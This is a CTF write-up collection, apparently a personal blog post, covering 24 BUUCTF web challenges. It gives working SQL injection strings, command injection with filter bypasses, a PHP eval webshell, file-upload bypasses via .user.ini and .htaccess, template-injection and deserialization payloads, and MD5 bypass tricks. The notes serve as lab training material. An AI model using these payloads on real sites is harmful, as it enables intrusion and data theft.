buuweb(1-24)

1[极客大挑战2019]Havefun

f12有提示,/?cat=dog即可。

难度:0

 

2[ACTF2020新生赛]Include

题目名称叫Include,点tips之后url里有?file=flag.php,基本确定是任意文件读取漏洞。

无源码泄露。

测试远程代码执行:

php://input伪协议(post里输代码),

data://text/plain 伪协议

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

均被毙。

测试远程任意读:

php://filter伪协议

php://filter/read=convert.base64-encode/resource=flag.php

可用。

难度:3

 

3[强网杯2019]随便注

先测试报错,发现有报错。使用经典的报错注入

1' and updatexml(1,concat(0x7e,database())),1) --+

发现有过滤【return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

   尝试了大小写和套娃,均无效(其实从代码中的return/i也几乎可以判断出这无效)。

   测试发现有堆叠注入;继续注入,确定数据库、表和列。

1';use supersqli;show tables;#

1';use supersqli;show columns from `1919810931114514`;#

(确定数据库有两种方法;一个是利用堆叠注入的1';show databases;#获取所有数据库,在看可疑的;另一个是用报错注入的另一姿势1' and extractvalue(1,concat(0x7e,database()))#extractvalue用法与updatexml完全相同。直接获取当前数据库。后者绕过了正则中的update,但若继续用报错注入,后续还得用select,所以不行)

接着,从列中提取数据需要用到select了,这里使用了拼接命令的方法

1';use supersqli;set @variable=concat('s','elect `flag` from `1919810931114514`');prepare sentence from @variable;execute sentence;#

set 语句为已存在的变量赋值,PREPARE创建SQL语句,EXECUTE执行SQL语句。sql中有一些保留字,当你的字段名是它的保留字时,这个时候sql语句的字段不加``就会报错。)

输入这个之后会提示【strstr($inject, "set") && strstr($inject, "prepare");这个看起来就可以用大小写绕过。

难度:5

 

4[SUCTF 2019]EasySQL

测试发现过滤了一堆东西,包括但不限于【and or && union " updatexml extractvalue from Flag

测试发现无报错信息,输入长度要求非常严格,堆叠注入可用。采用堆叠注入:

1;show databases#

1;use ctf;show tables#

(堆叠注入要求语句正确;本题1'#报错,说明数据没有被单引号包裹,不需要加单引号;而上一题1'#不报错,故需要用单引号才能被识别为多个语句)

无后续。查wp得可推断后端代码为【sql=select.post[query]."||flag from Flag";

payload *,1

难度:5

 

5[ACTF2020新生赛]exec

123;cat /flag 即可。

find / -name xxx 会消耗巨长的时间,慎用。

复习一下linux命令分隔符:

;】依次执行命令,不关心成败

&&】执行失败一个命令后就不再执行

||】执行成功一个命令后就不再执行

 

&】放在启动参数后面表示设置此进程为后台进程

|】上一条命令的输出,作为下一条命令参数

难度:1

 

6[极客大挑战2019]Secret File

html源码+抓包 即可找到secr3t.php;进去看一下代码,filter读一下就行了。

file=php://filter/read=convert.base64-encode/resource=flag.php

难度:1

 

7[GXYCTF2019]Ping Ping Ping

也是命令执行RCE,但进行了许多过滤。

过滤了空格,可以用${IFS}$绕过;

又过滤了几乎所有符号,于是改用$IFS$1

过滤了flag,先读取index.php

使用base64-encode的方法绕过flag过滤:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

解析:

$IFS$1换为空格:echo Y2F0IGZsYWcucGhw|base64 -d|sh

echo-d是第一个命令;它的意思是将那一串东西base64解密后输出。

echo cat flag.php|sh

|】管道符将前一个的结果作为后一个的参数;过滤了bash,所以用sh执行(我的本地dash也可,但它的不行)

 

还有一种解法:

cat$IFS$1`ls`

【内联执行】将反引号内命令的输出作为输入执行

$IFS是‘内部字段分隔符’;

难度:3

 

 

8[极客大挑战 2019]Http

 

感觉最难的一步就是第一步,找到Secret.php;dirsearch是扫不到的,已知的一种方法是从burptargetcontents里获取(初见这种姿势)

 

接下来,根据提示分别设置refereruser-Agentbrowser),X-Forwarded-For就行了。

 

难度:2

 

 

 

9、[极客大挑战2019]upload

 

写个一句话马(先不用.php)先传上去:

 

<?php eval($_GET[wow]);?>

 

回显not image,将content-type改为【image/jpeg

 

回显<? ?>被过滤,改用<script language=php> </script>

 

回显Its not image at all,改文件头

 

文件头标识:

 

1JPEG

 

- 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

 

- 文件结束标识 (2 bytes): 0xff, 0xd9 (EOI)

 

2PNG

 

-文件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A

 

4GIF

 

 文件头标识 (6 bytes) 47 49 46 38 39(37) 61,字符即:GIF89 (7)a

 

GIF89a直接改最简单;用hex editor加上PNG的文件头,然后直接上传用burp抓包也行(复制进burp好像不行);JPEG头好像不行。

 

 

 

改文件名后缀,发现过滤了php,用【phtml】即可。

 

 

 

上传成功,进入upload下的文件(扫一下可知),

 

?wow=system(“”);flag

 

难度:4

 

 

 

10、[ACTF2020 新生赛]Upload

 

只需用phtml一个点;比上一题简化了很多。

 

难度:2

 

 

 

11、[RoarCTF 2019]Easy Calc

 

找一找,可以找到jQuery的一个源码和calc.php源码;

 

jQuery那个源码不是防火墙的源码。

 

 

 

对于waf,在get变量前加个空格即可绕过,原因是php在会对get变量(关联数组下标)进行一些额外处理:【删除空白字符,以及将某些字符转换为下划线】,但自己写的waf不一定有这些处理。

 

 

 

接下来对php里的东西进行绕过。最先想到的是system,但是他过滤了引号,于是用system(chr(34).xxxxxx.chr(34));但是不行。查看phpinfo发现禁用了一大堆函数,只能改用

 

var_dump(scandir(chr(47)))

 

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 

难度:5

 

 

 

12、[极客大挑战 2019]PHP

 

提示有网站备份,自然要用dirsearch扫。

 

但如果直接扫,会全返回【429too many request】,需要用 -s 指定延迟(单位:秒)

 

python dirsearch.py -s 5 -u url

 

找到www.zip后源码审计,是个简单的php反序列化+__wakeup绕过。字节码建议别手搓,而是用本地PHP环境生成一个。

 

 

 

然而,本题类中的属性都是private;这样的话序列化出来的名字就不是【“属性名”】,而是【“%00类名%00属性名】(此处类名指的是声明该私有属性的类的类名)。%00在我的本地php环境是无法输出的;直接在url上输入又会被视作截断。只能用python提交。

 

难度:3

 

 

 

13、[ACTF2020新生赛]BackupFile

 

dirsearch扫,或根据提示脑洞到.bak文件

 

弱类型123=”123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”

 

难度:1

 

 

 

14、[护网杯 2018]easy_tornado

 

模板注入--判据有两个:tornado是一个python web模板;网站里面有个文件里写了render,也是模板的意思。

 

再探索题目环境,发现他告诉了flag的位置,以及filehash需要由cookie计算。

 

 

 

接下来的一步是模板注入的关键环节。由于对模板注入了解比较少(且不同的模板也不太一样),这里仅给出获取cookiepayload:【error?msg={{handler.settings}}】;

 

emmmm现在只记住了有【{{   }}】的就是模板注入。

 

 

 

接下来用python生成相应的MD5内容。pythonmd5hashlib库中;

 

记住送入md5的东西要【.encode】,出来的要【.hexdigest】 就行了

 

计算MD5payload

 

print(md5(cookie_secret.encode()+md5(filename.encode()).hexdigest().encode()).hexdigest())

 

难度:不评价

 

 

 

15、[极客大挑战 2019]BuyFlag

 

传统题。根据提示改cookie,弱类型绕数字过滤,科学计数法绕长度过滤。

 

难度:1

 

 

 

16、[HCTF 2018]admin

 

直接admin 密码123登录拿到了flag。。。懒得看预期解了

 

难度:不评价

 

 

 

17、[BJDCTF2020]Easy MD5

 

一道题解决了巨多MD5问题

 

MD5绕过姿势:

 

10e大法:由于科学计数法,都会被认为是0;只适用于最普通的类型。

 

(2)数组绕过:md5作用于数组时会返回NULL;可以基于此构造payload

 

param1[]=1¶m2[]=2

 

(3)MD5碰撞:若比较时进行了string强转,则任何数组都会变成Array,无法绕过。这时候只能硬碰撞,即找两个md5相同,但本体不同的东西。这里使用fastcoll。由于生成的文件都是不可读字符,写脚本进行提交。脚本中的1,2 .txt是将空白文本文档放到fastcoll里跑出来的。注意读文件使用rb

 

extraMD5数据库绕过:使用经典payloadffifdyop】即可。这个字符串的MD5

 

值是276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or 6 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'。等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

 

难度:3

 

 

 

 

 

 

 

 

 

18、[ZJCTF 2019]NiZhuanSiWei

 

第一步读取文件,判定内容,用两种伪协议都能搞定:

 

data伪协议:【text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 

php://input伪协议:这个稍微复杂一点;注意当post的内容不是“x=blablabla”的形式时,hackbar无法发出,只能抓包。在Post的内容中,+’不会被解析为空格,等等。

 

 

 

第二步读取useless.php内容。这里题目说了,不能直接读取flag.php

 

直接php://filter协议即可

 

file=php://filter/read=convert.base64-encode/resource=useless.php

 

读取之后,编写脚本生成反序列化payload

 

 

 

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

 

 

第三步读取flag.php。注意在第二步中,我们是想获得useless.php的源码,但在第三步中, 我们是想让他执行,所以要直接读。

 

payload(若第一步用php://input,也不影响二三步) text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&pass word=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

难度:4

 

 

 

19、[SUCTF 2019]CheckIn

 

其他姿势同第九题【[极客大挑战2019]upload】。新学了一个姿势: .user.ini后门。

 

我们会注意到,此题除了实现上传功能的index.php,在我们传文件的目录下也自带了个index.php,此事必有蹊跷。

 

先给出解法:上传一个文件名为【.user.ini】的文件,内容【auto_prepend_file=xxx

 

再上传【xxx.jpg,里面写马。之后访问目录下的index.php,就能RCE了。

 

 

 

原理:除了主【php.ini】之外,PHP还会在被执行的PHP文件所在目录下扫描ini文件。PHP_INI_*有四种模式,除了PHP_INI_SYSTEM之外,其他模式都是可以通过【.user.ini

 

来设置的。【auto_prepend_file=xxx】可使(该目录下)所有PHP文件在执行前先自动包含xxx文件。所以,xxx文件的后缀并不重要。

 

难度:5

 

 

 

20、[极客大挑战 2019]HardSQL

 

本题把空格相关、and相关的东西过滤的很彻底,还过滤了‘=

 

纯无空格报错注入sqli-lab里练过,没啥大问题。不过手有点生了,犯了些低级失误。

 

1'or(updatexml(1,concat(0x7e,database()),1))#

 

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))),1))#

 

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database())or((table_name)like('H4rDsq1'))))),1))#

 

1'or(updatexml(1,concat(0x7e,(select((password))from(H4rDsq1))),1))#

 

1'or(updatexml(1,concat(0x7e,(select((right(password,20)))from(H4rDsq1))),1))#

 

学到的几个知识点:

 

0)这种注入括号格式较复杂;详解之前sqli-lab23及其他。

 

(1)limit是不能加括号的,必须用空格类字符的。limit(0,1)必报错

 

(2)likeregexp替代=。注意like不加括号,两边的东西要加括号;regexp没试过。

 

(3)第三步因为不能用and,我用or代替了。实际上,不加or的第一项也可以

 

(4)最后一步直接读flag太长读不完,用【right(password,x)】从第x位开始读

 

难度:4

 

 

21[MRCTF2020]你传你*

 

经典的.htaccess绕过。

 

解法:

 

上传文件.htaccess:

 

 

 

再上传wow.jpg马,访问他即可。

 

过滤了一堆函数;使用【var_dump(scandir(/))】【var_dump(file_get_contents('/flag'));

 

原理:

 

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

 

.htaccess的用途范围主要针对当前目录。

 

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。

 

图中的.htaccess中的内容是将wow.jpg作为PHP文件解析(大概是这个意思)

 

难度:3

 

 

 

21、[MRCTF2020]Ez_bypass

 

md5数组绕过+数字后加字母。

 

难度:1

 

 

 

22、[网鼎杯2020青龙组]AreUSerialz

 

反序列化的题,慢慢盘代码逻辑就行了。

 

有个绕过要把字符串改成int

 

注意protected序列化出来是【%00*%属性名】(private【“%00类名%00属性名】),但题目过滤了不可见字符;生成payload时要把protected改成public

 

payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello World!";}

 

难度:3

 

 

 

23、[GXYCTF2019]BabySQli

 

考点是:联合查询在查询并不存在的数据时,就会短暂构造一个虚拟的数据。

 

 

 

试验后会发现本题user必是admin

 

(题目里给了个base64-base32加密的东西做提示,只select账号;好像用处不大。)

 

使用联合查询构造临时密码,用自己构造的密码登录。(试了其他几个姿势,发现括号和information都过滤了,不行)

 

payload:【name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

 

md5(1)=c4ca4238a0b923820dcc509a6f75849b;

 

密码是经过md5在后台存储的,这一点题目没有提示,有点奇怪。)

 

难度:4

 

 

 

24、[GYCTF2020]Blacklist

 

前几步和【3[强网杯2019]随便注】相同。

 

1';show+databases;--+

 

1';use+supersqli;show+tables;--+

 

1';use+supersqli;show+columns+from+`FlagHere`;--+

 

但是,它过滤了setprepare,所以之前的姿势不能用了。

 

考点:HANDLER语句。

 

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#

 

handler具体用法也不多,见官方文档https://dev.mysql.com/doc/refman/8.0/en/handler.html

 

难度:5

 

posted @ 2022-02-26 18:01  hiddener  阅读(111)  评论(0编辑  收藏  举报